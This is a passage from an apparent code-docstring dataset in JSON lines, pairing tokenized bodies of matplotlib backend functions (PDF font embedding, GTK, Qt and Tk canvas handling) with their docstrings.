glyph.horiAdvance / <NUM_LIT:6>))<EOL>if ccode < <NUM_LIT>:<EOL><INDENT>cid_to_gid_map[ccode] = chr(gind)<EOL><DEDENT>max_ccode = max(ccode, max_ccode)<EOL><DEDENT>widths.sort()<EOL>cid_to_gid_map = cid_to_gid_map[:max_ccode + <NUM_LIT:1>]<EOL>last_ccode = -<NUM_LIT:2><EOL>w = []<EOL>max_width = <NUM_LIT:0><EOL>unicode_groups = []<EOL>for ccode, width in widths:<EOL><INDENT>if ccode != last_ccode + <NUM_LIT:1>:<EOL><INDENT>w.append(ccode)<EOL>w.append([width])<EOL>unicode_groups.append([ccode, ccode])<EOL><DEDENT>else:<EOL><INDENT>w[-<NUM_LIT:1>].append(width)<EOL>unicode_groups[-<NUM_LIT:1>][<NUM_LIT:1>] = ccode<EOL><DEDENT>max_width = max(max_width, width)<EOL>last_ccode = ccode<EOL><DEDENT>unicode_bfrange = []<EOL>for start, end in unicode_groups:<EOL><INDENT>unicode_bfrange.append(<EOL>\"<STR_LIT>\" %<EOL>(start, end,<EOL>\"<STR_LIT:U+0020>\".join([\"<STR_LIT>\" % x for x in range(start, end+<NUM_LIT:1>)])))<EOL><DEDENT>unicode_cmap = (self._identityToUnicodeCMap %<EOL>(len(unicode_groups),<EOL>\"<STR_LIT:\\n>\".join(unicode_bfrange)))<EOL>cid_to_gid_map = \"<STR_LIT>\".join(cid_to_gid_map).encode(\"<STR_LIT>\")<EOL>self.beginStream(cidToGidMapObject.id,<EOL>None,<EOL>{'<STR_LIT>':  len(cid_to_gid_map)})<EOL>self.currentstream.write(cid_to_gid_map)<EOL>self.endStream()<EOL>self.beginStream(toUnicodeMapObject.id,<EOL>None,<EOL>{'<STR_LIT>': unicode_cmap})<EOL>self.currentstream.write(unicode_cmap)<EOL>self.endStream()<EOL>descriptor['<STR_LIT>'] = max_width<EOL>self.writeObject(cidFontDictObject, cidFontDict)<EOL>self.writeObject(type0FontDictObject, type0FontDict)<EOL>self.writeObject(fontdescObject, descriptor)<EOL>self.writeObject(wObject, w)<EOL>return type0FontDictObject<EOL><DEDENT>ps_name = Name(font.get_sfnt()[(<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:6>)])<EOL>pclt = font.get_sfnt_table('<STR_LIT>')or { '<STR_LIT>': <NUM_LIT:0>, '<STR_LIT>': <NUM_LIT:0> }<EOL>post = font.get_sfnt_table('<STR_LIT>')or { '<STR_LIT>': (<NUM_LIT:0>,<NUM_LIT:0>) }<EOL>ff = font.face_flags<EOL>sf = font.style_flags<EOL>flags = <NUM_LIT:0><EOL>symbolic = False <EOL>if ff & FIXED_WIDTH: flags |= <NUM_LIT:1> << <NUM_LIT:0><EOL>if <NUM_LIT:0>: flags |= <NUM_LIT:1> << <NUM_LIT:1> <EOL>if symbolic: flags |= <NUM_LIT:1> << <NUM_LIT:2><EOL>else: flags |= <NUM_LIT:1> << <NUM_LIT:5><EOL>if sf & ITALIC: flags |= <NUM_LIT:1> << <NUM_LIT:6><EOL>if <NUM_LIT:0>: flags |= <NUM_LIT:1> << <NUM_LIT:16> <EOL>if <NUM_LIT:0>: flags |= <NUM_LIT:1> << <NUM_LIT> <EOL>if <NUM_LIT:0>: flags |= <NUM_LIT:1> << <NUM_LIT> <EOL>descriptor = {<EOL>'<STR_LIT>'        : Name('<STR_LIT>'),<EOL>'<STR_LIT>'    : ps_name,<EOL>'<STR_LIT>'       : flags,<EOL>'<STR_LIT>'    : [ cvt(x, nearest=False) for x in font.bbox ],<EOL>'<STR_LIT>'      : cvt(font.ascender, nearest=False),<EOL>'<STR_LIT>'     : cvt(font.descender, nearest=False),<EOL>'<STR_LIT>'   : cvt(pclt['<STR_LIT>'], nearest=False),<EOL>'<STR_LIT>'     : cvt(pclt['<STR_LIT>']),<EOL>'<STR_LIT>' : post['<STR_LIT>'][<NUM_LIT:1>], <EOL>'<STR_LIT>'       : <NUM_LIT:0> <EOL>}<EOL>if is_opentype_cff_font(filename):<EOL><INDENT>fonttype = <NUM_LIT><EOL>warnings.warn((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") %<EOL>os.path.basename(filename))<EOL><DEDENT>if fonttype == <NUM_LIT:3>:<EOL><INDENT>return embedTTFType3(font, characters, descriptor)<EOL><DEDENT>elif fonttype == <NUM_LIT>:<EOL><INDENT>return embedTTFType42(font, characters, descriptor)<EOL><DEDENT>", "docstring": "Embed the TTF font from the named file into the document.", "id": "f17211:c4:m11"}
{"signature": "def alphaState(self, alpha):", "body": "state = self.alphaStates.get(alpha, None)<EOL>if state is not None:<EOL><INDENT>return state[<NUM_LIT:0>]<EOL><DEDENT>name = Name('<STR_LIT>' % self.nextAlphaState)<EOL>self.nextAlphaState += <NUM_LIT:1><EOL>self.alphaStates[alpha] =(name, { '<STR_LIT>': Name('<STR_LIT>'),<EOL>'<STR_LIT>': alpha, '<STR_LIT>': alpha })<EOL>return name<EOL>", "docstring": "Return name of an ExtGState that sets alpha to the given value", "id": "f17211:c4:m12"}
{"signature": "def imageObject(self, image):", "body": "pair = self.images.get(image, None)<EOL>if pair is not None:<EOL><INDENT>return pair[<NUM_LIT:0>]<EOL><DEDENT>name = Name('<STR_LIT>' % self.nextImage)<EOL>ob = self.reserveObject('<STR_LIT>' % self.nextImage)<EOL>self.nextImage += <NUM_LIT:1><EOL>self.images[image] = (name, ob)<EOL>return name<EOL>", "docstring": "Return name of an image XObject representing the given image.", "id": "f17211:c4:m15"}
{"signature": "def markerObject(self, path, trans, fillp, lw):", "body": "key = (path, trans, fillp is not None, lw)<EOL>result = self.markers.get(key)<EOL>if result is None:<EOL><INDENT>name = Name('<STR_LIT>' % len(self.markers))<EOL>ob = self.reserveObject('<STR_LIT>' % len(self.markers))<EOL>self.markers[key] = (name, ob, path, trans, fillp, lw)<EOL><DEDENT>else:<EOL><INDENT>name = result[<NUM_LIT:0>]<EOL><DEDENT>return name<EOL>", "docstring": "Return name of a marker XObject representing the given path.", "id": "f17211:c4:m19"}
{"signature": "def reserveObject(self, name='<STR_LIT>'):", "body": "id = self.nextObject<EOL>self.nextObject += <NUM_LIT:1><EOL>self.xrefTable.append([None, <NUM_LIT:0>, name])<EOL>return Reference(id)<EOL>", "docstring": "Reserve an ID for an indirect object.\n        The name is used for debugging in case we forget to print out\n        the object with writeObject.", "id": "f17211:c4:m23"}
{"signature": "def writeXref(self):", "body": "self.startxref = self.fh.tell()<EOL>self.write(\"<STR_LIT>\" % self.nextObject)<EOL>i = <NUM_LIT:0><EOL>borken = False<EOL>for offset, generation, name in self.xrefTable:<EOL><INDENT>if offset is None:<EOL><INDENT>print('<STR_LIT>' % (i, name), file=sys.stderr)<EOL>borken = True<EOL><DEDENT>else:<EOL><INDENT>self.write(\"<STR_LIT>\" % (offset, generation))<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>if borken:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Write out the xref table.", "id": "f17211:c4:m26"}
{"signature": "def writeTrailer(self):", "body": "self.write(\"<STR_LIT>\")<EOL>self.write(pdfRepr(<EOL>{'<STR_LIT>': self.nextObject,<EOL>'<STR_LIT>': self.rootObject,<EOL>'<STR_LIT>': self.infoObject }))<EOL>self.write(\"<STR_LIT>\" % self.startxref)<EOL>", "docstring": "Write out the PDF trailer.", "id": "f17211:c4:m27"}
{"signature": "def track_characters(self, font, s):", "body": "if isinstance(font, str):<EOL><INDENT>fname = font<EOL><DEDENT>else:<EOL><INDENT>fname = font.fname<EOL><DEDENT>realpath, stat_key = get_realpath_and_stat(fname)<EOL>used_characters = self.used_characters.setdefault(<EOL>stat_key, (realpath, set()))<EOL>used_characters[<NUM_LIT:1>].update([ord(x) for x in s])<EOL>", "docstring": "Keeps track of which characters are required from\n        each font.", "id": "f17211:c5:m4"}
{"signature": "def clip_cmd(self, cliprect, clippath):", "body": "cmds = []<EOL>while (self._cliprect, self._clippath) != (cliprect, clippath)and self.parent is not None:<EOL><INDENT>cmds.extend(self.pop())<EOL><DEDENT>if (self._cliprect, self._clippath) != (cliprect, clippath):<EOL><INDENT>cmds.extend(self.push())<EOL>if self._cliprect != cliprect:<EOL><INDENT>cmds.extend([cliprect, Op.rectangle, Op.clip, Op.endpath])<EOL><DEDENT>if self._clippath != clippath:<EOL><INDENT>cmds.extend(<EOL>PdfFile.pathOperations(<EOL>*clippath.get_transformed_path_and_affine()) +<EOL>[Op.clip, Op.endpath])<EOL><DEDENT><DEDENT>return cmds<EOL>", "docstring": "Set clip rectangle. Calls self.pop() and self.push().", "id": "f17211:c6:m16"}
{"signature": "def delta(self, other):", "body": "cmds = []<EOL>for params, cmd in self.commands:<EOL><INDENT>different = False<EOL>for p in params:<EOL><INDENT>ours = getattr(self, p)<EOL>theirs = getattr(other, p)<EOL>try:<EOL><INDENT>different = bool(ours != theirs)<EOL><DEDENT>except ValueError:<EOL><INDENT>ours = npy.asarray(ours)<EOL>theirs = npy.asarray(theirs)<EOL>different = ours.shape != theirs.shape or npy.any(ours != theirs)<EOL><DEDENT>if different:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if different:<EOL><INDENT>theirs = [getattr(other, p) for p in params]<EOL>cmds.extend(cmd(self, *theirs))<EOL>for p in params:<EOL><INDENT>setattr(self, p, getattr(other, p))<EOL><DEDENT><DEDENT><DEDENT>return cmds<EOL>", "docstring": "Copy properties of other into self and return PDF commands\nneeded to transform self into other.", "id": "f17211:c6:m17"}
{"signature": "def copy_properties(self, other):", "body": "GraphicsContextBase.copy_properties(self, other)<EOL>self._fillcolor = other._fillcolor<EOL>", "docstring": "Copy properties of other into self.", "id": "f17211:c6:m18"}
{"signature": "def finalize(self):", "body": "cmds = []<EOL>while self.parent is not None:<EOL><INDENT>cmds.extend(self.pop())<EOL><DEDENT>return cmds<EOL>", "docstring": "Make sure every pushed graphics state is popped.", "id": "f17211:c6:m19"}
{"signature": "def draw_if_interactive():", "body": "if matplotlib.is_interactive():<EOL><INDENT>figManager =  Gcf.get_active()<EOL>if figManager is not None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT><DEDENT>", "docstring": "Is called after every pylab drawing command", "id": "f17212:m2"}
{"signature": "def show(mainloop=True):", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.window.show()<EOL><DEDENT>if mainloop and gtk.main_level() == <NUM_LIT:0> andlen(Gcf.get_all_fig_managers())><NUM_LIT:0>:<EOL><INDENT>gtk.main()<EOL><DEDENT>", "docstring": "Show all the figures and enter the gtk main loop\nThis should be the last line of your script", "id": "f17212:m3"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasGTK(thisFig)<EOL>manager = FigureManagerGTK(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17212:m4"}
{"signature": "def _renderer_init(self):", "body": "self._renderer = RendererGDK (self, self.figure.dpi)<EOL>", "docstring": "Override by GTK backends to select a different renderer\n        Renderer should provide the methods:\n            set_pixmap ()\n            set_width_height ()\n        that are used by\n            _render_figure() / _pixmap_prepare()", "id": "f17212:c0:m14"}
{"signature": "def _pixmap_prepare(self, width, height):", "body": "if _debug: print('<STR_LIT>' % fn_name())<EOL>create_pixmap = False<EOL>if width > self._pixmap_width:<EOL><INDENT>self._pixmap_width  = max (int (self._pixmap_width  * <NUM_LIT>),<EOL>width)<EOL>create_pixmap = True<EOL><DEDENT>if height > self._pixmap_height:<EOL><INDENT>self._pixmap_height = max (int (self._pixmap_height * <NUM_LIT>),<EOL>height)<EOL>create_pixmap = True<EOL><DEDENT>if create_pixmap:<EOL><INDENT>self._pixmap = gdk.Pixmap (self.window, self._pixmap_width,<EOL>self._pixmap_height)<EOL>self._renderer.set_pixmap (self._pixmap)<EOL><DEDENT>", "docstring": "Make sure _._pixmap is at least width, height,\ncreate new pixmap if necessary", "id": "f17212:c0:m15"}
{"signature": "def _render_figure(self, pixmap, width, height):", "body": "self._renderer.set_width_height (width, height)<EOL>self.figure.draw (self._renderer)<EOL>", "docstring": "used by GTK and GTKcairo. GTKAgg overrides", "id": "f17212:c0:m16"}
{"signature": "def expose_event(self, widget, event):", "body": "if _debug: print('<STR_LIT>' % fn_name())<EOL>if GTK_WIDGET_DRAWABLE(self):<EOL><INDENT>if self._need_redraw:<EOL><INDENT>x, y, w, h = self.allocation<EOL>self._pixmap_prepare (w, h)<EOL>self._render_figure(self._pixmap, w, h)<EOL>self._need_redraw = False<EOL><DEDENT>x, y, w, h = event.area<EOL>self.window.draw_drawable (self.style.fg_gc[self.state],<EOL>self._pixmap, x, y, x, y, w, h)<EOL><DEDENT>return False<EOL>", "docstring": "Expose_event for all GTK backends. Should not be overridden.", "id": "f17212:c0:m17"}
{"signature": "def resize(self, width, height):", "body": "<EOL>self.window.resize(width, height)<EOL>", "docstring": "set the canvas size in pixels", "id": "f17212:c1:m6"}
{"signature": "def draw_rubberband(self, event, x0, y0, x1, y1):", "body": "drawable = self.canvas.window<EOL>if drawable is None:<EOL><INDENT>return<EOL><DEDENT>gc = drawable.new_gc()<EOL>height = self.canvas.figure.bbox.height<EOL>y1 = height - y1<EOL>y0 = height - y0<EOL>w = abs(x1 - x0)<EOL>h = abs(y1 - y0)<EOL>rect = [int(val)for val in (min(x0,x1), min(y0, y1), w, h)]<EOL>try: lastrect, imageBack = self._imageBack<EOL>except AttributeError:<EOL><INDENT>if event.inaxes is None:<EOL><INDENT>return<EOL><DEDENT>ax = event.inaxes<EOL>l,b,w,h = [int(val) for val in ax.bbox.bounds]<EOL>b = int(height)-(b+h)<EOL>axrect = l,b,w,h<EOL>self._imageBack = axrect, drawable.get_image(*axrect)<EOL>drawable.draw_rectangle(gc, False, *rect)<EOL>self._idle_draw_id = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>def idle_draw(*args):<EOL><INDENT>drawable.draw_image(gc, imageBack, <NUM_LIT:0>, <NUM_LIT:0>, *lastrect)<EOL>drawable.draw_rectangle(gc, False, *rect)<EOL>self._idle_draw_id = <NUM_LIT:0><EOL>return False<EOL><DEDENT>if self._idle_draw_id == <NUM_LIT:0>:<EOL><INDENT>self._idle_draw_id = gobject.idle_add(idle_draw)<EOL><DEDENT><DEDENT>", "docstring": "adapted from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/189744", "id": "f17212:c2:m5"}
{"signature": "def __init__(self, canvas, window):", "body": "gtk.Toolbar.__init__(self)<EOL>self.canvas = canvas<EOL>self.win    = window<EOL>self.set_style(gtk.TOOLBAR_ICONS)<EOL>if gtk.pygtk_version >= (<NUM_LIT:2>,<NUM_LIT:4>,<NUM_LIT:0>):<EOL><INDENT>self._create_toolitems_2_4()<EOL>self.update = self._update_2_4<EOL>self.fileselect = FileChooserDialog(<EOL>title='<STR_LIT>',<EOL>parent=self.win,<EOL>filetypes=self.canvas.get_supported_filetypes(),<EOL>default_filetype=self.canvas.get_default_filetype())<EOL><DEDENT>else:<EOL><INDENT>self._create_toolitems_2_2()<EOL>self.update = self._update_2_2<EOL>self.fileselect = FileSelection(title='<STR_LIT>',<EOL>parent=self.win)<EOL><DEDENT>self.show_all()<EOL>self.update()<EOL>", "docstring": "figManager is the FigureManagerGTK instance that contains the\ntoolbar, with attributes figure, window and drawingArea", "id": "f17212:c3:m0"}
{"signature": "def panx(self, button, direction):", "body": "for a in self._active:<EOL><INDENT>a.xaxis.pan(direction)<EOL><DEDENT>self.canvas.draw()<EOL>return True<EOL>", "docstring": "panx in direction", "id": "f17212:c3:m7"}
{"signature": "def pany(self, button, direction):", "body": "for a in self._active:<EOL><INDENT>a.yaxis.pan(direction)<EOL><DEDENT>self.canvas.draw()<EOL>return True<EOL>", "docstring": "pany in direction", "id": "f17212:c3:m8"}
{"signature": "def zoomx(self, button, direction):", "body": "for a in self._active:<EOL><INDENT>a.xaxis.zoom(direction)<EOL><DEDENT>self.canvas.draw()<EOL>return True<EOL>", "docstring": "zoomx in direction", "id": "f17212:c3:m9"}
{"signature": "def zoomy(self, button, direction):", "body": "for a in self._active:<EOL><INDENT>a.yaxis.zoom(direction)<EOL><DEDENT>self.canvas.draw()<EOL>return True<EOL>", "docstring": "zoomy in direction", "id": "f17212:c3:m10"}
{"signature": "def show(self):", "body": "self._updateson = False<EOL>cbox = self.cbox_lineprops<EOL>for i in range(self._lastcnt-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>cbox.remove_text(i)<EOL><DEDENT>for line in self.lines:<EOL><INDENT>cbox.append_text(line.get_label())<EOL><DEDENT>cbox.set_active(<NUM_LIT:0>)<EOL>self._updateson = True<EOL>self._lastcnt = len(self.lines)<EOL>self.dlg.show()<EOL>", "docstring": "populate the combo box", "id": "f17212:c4:m1"}
{"signature": "def get_active_line(self):", "body": "ind = self.cbox_lineprops.get_active()<EOL>line = self.lines[ind]<EOL>return line<EOL>", "docstring": "get the active line", "id": "f17212:c4:m2"}
{"signature": "def get_active_linestyle(self):", "body": "ind = self.cbox_linestyles.get_active()<EOL>ls = self.linestyles[ind]<EOL>return ls<EOL>", "docstring": "get the active lineinestyle", "id": "f17212:c4:m3"}
{"signature": "def get_active_marker(self):", "body": "ind = self.cbox_markers.get_active()<EOL>m = self.markers[ind]<EOL>return m<EOL>", "docstring": "get the active lineinestyle", "id": "f17212:c4:m4"}
{"signature": "def _update(self):", "body": "if not self._inited or not self._updateson: return<EOL>line = self.get_active_line()<EOL>ls = self.get_active_linestyle()<EOL>marker = self.get_active_marker()<EOL>line.set_linestyle(ls)<EOL>line.set_marker(marker)<EOL>button = self.wtree.get_widget('<STR_LIT>')<EOL>color = button.get_color()<EOL>r, g, b = [val/<NUM_LIT> for val in (color.red, color.green, color.blue)]<EOL>line.set_color((r,g,b))<EOL>button = self.wtree.get_widget('<STR_LIT>')<EOL>color = button.get_color()<EOL>r, g, b = [val/<NUM_LIT> for val in (color.red, color.green, color.blue)]<EOL>line.set_markerfacecolor((r,g,b))<EOL>line.figure.canvas.draw()<EOL>", "docstring": "update the active line props from the widgets", "id": "f17212:c4:m5"}
{"signature": "def on_combobox_lineprops_changed(self, item):", "body": "if not self._inited: return<EOL>self._updateson = False<EOL>line = self.get_active_line()<EOL>ls = line.get_linestyle()<EOL>if ls is None: ls = '<STR_LIT:None>'<EOL>self.cbox_linestyles.set_active(self.linestyled[ls])<EOL>marker = line.get_marker()<EOL>if marker is None: marker = '<STR_LIT:None>'<EOL>self.cbox_markers.set_active(self.markerd[marker])<EOL>r,g,b = colorConverter.to_rgb(line.get_color())<EOL>color = gtk.gdk.Color(*[int(val*<NUM_LIT>) for val in (r,g,b)])<EOL>button = self.wtree.get_widget('<STR_LIT>')<EOL>button.set_color(color)<EOL>r,g,b = colorConverter.to_rgb(line.get_markerfacecolor())<EOL>color = gtk.gdk.Color(*[int(val*<NUM_LIT>) for val in (r,g,b)])<EOL>button = self.wtree.get_widget('<STR_LIT>')<EOL>button.set_color(color)<EOL>self._updateson = True<EOL>", "docstring": "update the widgets from the active line", "id": "f17212:c4:m6"}
{"signature": "def on_colorbutton_markerface_color_set(self, button):", "body": "self._update()<EOL>", "docstring": "called colorbutton marker clicked", "id": "f17212:c4:m10"}
{"signature": "def new_figure_manager( num, *args, **kwargs ):", "body": "if DEBUG: print('<STR_LIT>')<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass( *args, **kwargs )<EOL>canvas = FigureCanvasQTAgg( thisFig )<EOL>return FigureManagerQT( canvas, num )<EOL>", "docstring": "Create a new figure manager instance", "id": "f17213:m0"}
{"signature": "def paintEvent( self, e ):", "body": "<EOL>if DEBUG: print('<STR_LIT>', self,self.get_width_height())<EOL>if type(self.replot) is bool: <EOL><INDENT>if self.replot:<EOL><INDENT>FigureCanvasAgg.draw(self)<EOL><DEDENT>if QtCore.QSysInfo.ByteOrder == QtCore.QSysInfo.LittleEndian:<EOL><INDENT>stringBuffer = self.renderer._renderer.tostring_bgra()<EOL><DEDENT>else:<EOL><INDENT>stringBuffer = self.renderer._renderer.tostring_argb()<EOL><DEDENT>qImage = QtGui.QImage(stringBuffer, self.renderer.width,<EOL>self.renderer.height,<EOL>QtGui.QImage.Format_ARGB32)<EOL>p = QtGui.QPainter(self)<EOL>p.drawPixmap(QtCore.QPoint(<NUM_LIT:0>, <NUM_LIT:0>), QtGui.QPixmap.fromImage(qImage))<EOL>if self.drawRect:<EOL><INDENT>p.setPen( QtGui.QPen( QtCore.Qt.black, <NUM_LIT:1>, QtCore.Qt.DotLine ) )<EOL>p.drawRect( self.rect[<NUM_LIT:0>], self.rect[<NUM_LIT:1>], self.rect[<NUM_LIT:2>], self.rect[<NUM_LIT:3>] )<EOL><DEDENT>p.end()<EOL><DEDENT>else:<EOL><INDENT>bbox = self.replot<EOL>l, b, r, t = bbox.extents<EOL>w = int(r) - int(l)<EOL>h = int(t) - int(b)<EOL>t = int(b) + h<EOL>reg = self.copy_from_bbox(bbox)<EOL>stringBuffer = reg.to_string_argb()<EOL>qImage = QtGui.QImage(stringBuffer, w, h, QtGui.QImage.Format_ARGB32)<EOL>pixmap = QtGui.QPixmap.fromImage(qImage)<EOL>p = QtGui.QPainter( self )<EOL>p.drawPixmap(QtCore.QPoint(l, self.renderer.height-t), pixmap)<EOL>p.end()<EOL><DEDENT>self.replot = False<EOL>self.drawRect = False<EOL>", "docstring": "Draw to the Agg backend and then copy the image to the qt.drawable.\nIn Qt, all drawing should be done inside of here when a widget is\nshown onscreen.", "id": "f17213:c2:m3"}
{"signature": "def draw( self ):", "body": "if DEBUG: print(\"<STR_LIT>\", self)<EOL>self.replot = True<EOL>FigureCanvasAgg.draw(self)<EOL>self.update()<EOL>QtGui.qApp.processEvents()<EOL>", "docstring": "Draw the figure when xwindows is ready for the update", "id": "f17213:c2:m4"}
{"signature": "def blit(self, bbox=None):", "body": "self.replot = bbox<EOL>l, b, w, h = bbox.bounds<EOL>t = b + h<EOL>self.update(l, self.renderer.height-t, w, h)<EOL>", "docstring": "Blit the region in bbox", "id": "f17213:c2:m5"}
{"signature": "def new_figure_manager(num, *args, **kwargs): ", "body": "if _debug: print('<STR_LIT>' % (self.__class__.__name__, _fn_name()))<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas  = FigureCanvasCairo(thisFig)<EOL>manager = FigureManagerBase(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17214:m1"}
{"signature": "def raise_msg_to_str(msg):", "body": "if not is_string_like(msg):<EOL><INDENT>msg = '<STR_LIT:\\n>'.join(map(str, msg))<EOL><DEDENT>return msg<EOL>", "docstring": "msg is a return arg from a raise.  Join with new lines", "id": "f17215:m1"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.show()<EOL><DEDENT>import matplotlib<EOL>matplotlib.interactive(True)<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>os.environ['<STR_LIT>'] = '<STR_LIT:1>'<EOL><DEDENT>if show._needmain:<EOL><INDENT>Tk.mainloop()<EOL>show._needmain = False<EOL><DEDENT>", "docstring": "Show all the figures and enter the gtk mainloop\n\nThis should be the last line of your script.  This function sets\ninteractive mode to True, as detailed on\nhttp://matplotlib.sf.net/interactive.html", "id": "f17215:m4"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "_focus = windowing.FocusManager()<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>figure = FigureClass(*args, **kwargs)<EOL>window = Tk.Tk()<EOL>canvas = FigureCanvasTkAgg(figure, master=window)<EOL>figManager = FigureManagerTkAgg(canvas, num, window)<EOL>if matplotlib.is_interactive():<EOL><INDENT>figManager.show()<EOL><DEDENT>return figManager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17215:m5"}
{"signature": "def draw_idle(self):", "body": "d = self._idle<EOL>self._idle = False<EOL>def idle_draw(*args):<EOL><INDENT>self.draw()<EOL>self._idle = True<EOL><DEDENT>if d:<EOL><INDENT>self._tkcanvas.after_idle(idle_draw)<EOL><DEDENT>", "docstring": "update drawing area only if idle", "id": "f17215:c0:m4"}
{"signature": "def get_tk_widget(self):", "body": "return self._tkcanvas<EOL>", "docstring": "returns the Tk widget used to implement FigureCanvasTkAgg.\n        Although the initial implementation uses a Tk canvas,  this routine\n        is intended to hide that fact.", "id": "f17215:c0:m5"}
{"signature": "def scroll_event_windows(self, event):", "body": "<EOL>w = event.widget.winfo_containing(event.x_root, event.y_root)<EOL>if w == self._tkcanvas:<EOL><INDENT>x = event.x_root - w.winfo_rootx()<EOL>y = event.y_root - w.winfo_rooty()<EOL>y = self.figure.bbox.height - y<EOL>step = event.delta/<NUM_LIT><EOL>FigureCanvasBase.scroll_event(self, x, y, step, guiEvent=event)<EOL><DEDENT>", "docstring": "MouseWheel event processor", "id": "f17215:c0:m10"}
{"signature": "def show(self):", "body": "def destroy(*args):<EOL><INDENT>self.window = None<EOL>Gcf.destroy(self._num)<EOL><DEDENT>if not self._shown:<EOL><INDENT>self.canvas._tkcanvas.bind(\"<STR_LIT>\", destroy)<EOL><DEDENT>_focus = windowing.FocusManager()<EOL>if not self._shown:<EOL><INDENT>self.window.deiconify()<EOL>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>self.window.update()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.canvas.draw()<EOL><DEDENT>self._shown = True<EOL>", "docstring": "this function doesn't segfault but causes the\nPyEval_RestoreThread: NULL state bug on win32", "id": "f17215:c1:m2"}
{"signature": "def dynamic_update(self):", "body": "<EOL>self.canvas.draw_idle()<EOL>", "docstring": "update drawing area only if idle", "id": "f17215:c4:m12"}
{"signature": "def draw_if_interactive():", "body": "pass<EOL>", "docstring": "For image backends - is not required\nFor GUI backends - this should be overriden if drawing should be done in\ninteractive python mode", "id": "f17216:m0"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "For image backends - is not required\nFor GUI backends - show() is usually the last line of a pylab script and\ntells the backend that it is time to draw.  In interactive mode, this may\nbe a do nothing func.  See the GTK backend for an example of how to handle\ninteractive versus batch mode", "id": "f17216:m1"}
{"signature": "def new_figure_manager(num, *args, **kwargs):", "body": "<EOL>FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass(*args, **kwargs)<EOL>canvas = FigureCanvasTemplate(thisFig)<EOL>manager = FigureManagerTemplate(canvas, num)<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17216:m2"}
{"signature": "def draw(self):", "body": "renderer = RendererTemplate(self.figure.dpi)<EOL>self.figure.draw(renderer)<EOL>", "docstring": "Draw the figure using the renderer", "id": "f17216:c2:m0"}
{"signature": "def print_foo(self, filename, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Write out format foo.  The dpi, facecolor and edgecolor are restored\nto their original values after this call, so you don't need to\nsave and restore them.", "id": "f17216:c2:m1"}
{"signature": "def draw_if_interactive():", "body": "if matplotlib.is_interactive():<EOL><INDENT>figManager =  Gcf.get_active()<EOL>if figManager != None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT><DEDENT>", "docstring": "Is called after every pylab drawing command", "id": "f17217:m1"}
{"signature": "def _create_qApp():", "body": "if qt.QApplication.startingUp():<EOL><INDENT>if DEBUG: print(\"<STR_LIT>\")<EOL>global qApp<EOL>qApp = qt.QApplication( [\"<STR_LIT:U+0020>\"] )<EOL>qt.QObject.connect( qApp, qt.SIGNAL( \"<STR_LIT>\" ),<EOL>qApp, qt.SLOT( \"<STR_LIT>\" ) )<EOL>_create_qApp.qAppCreatedHere = True<EOL><DEDENT>", "docstring": "Only one qApp can exist at a time, so check before creating one", "id": "f17217:m2"}
{"signature": "def show():", "body": "for manager in Gcf.get_all_fig_managers():<EOL><INDENT>manager.window.show()<EOL><DEDENT>if DEBUG: print('<STR_LIT>')<EOL>figManager =  Gcf.get_active()<EOL>if figManager != None:<EOL><INDENT>figManager.canvas.draw()<EOL><DEDENT>if _create_qApp.qAppCreatedHere:<EOL><INDENT>qt.qApp.exec_loop()<EOL><DEDENT>", "docstring": "Show all the figures and enter the qt main loop\nThis should be the last line of your script", "id": "f17217:m3"}
{"signature": "def new_figure_manager( num, *args, **kwargs ):", "body": "FigureClass = kwargs.pop('<STR_LIT>', Figure)<EOL>thisFig = FigureClass( *args, **kwargs )<EOL>canvas = FigureCanvasQT( thisFig )<EOL>manager = FigureManagerQT( canvas, num )<EOL>return manager<EOL>", "docstring": "Create a new figure manager instance", "id": "f17217:m4"}
{"signature": "def exception_handler( type, value, tb ):", "body": "msg = '<STR_LIT>'<EOL>if hasattr(value, '<STR_LIT:filename>') and value.filename != None:<EOL><INDENT>msg = value.filename + '<STR_LIT>'<EOL><DEDENT>if hasattr(value, '<STR_LIT>') and value.strerror != None:<EOL><INDENT>msg += value.strerror<EOL><DEDENT>else:<EOL><INDENT>msg += str(value)<EOL><DEDENT>if len( msg ) : error_msg_qt( msg )<EOL>", "docstring": "Handle uncaught exceptions\n    It does not catch SystemExit", "id": "f17217:m6"}
{"signature": "def resize(self, width, height):", "body": "self.window.resize(width, height)<EOL>", "docstring": "set the canvas size in pixels", "id": "f17217:c1:m4"}
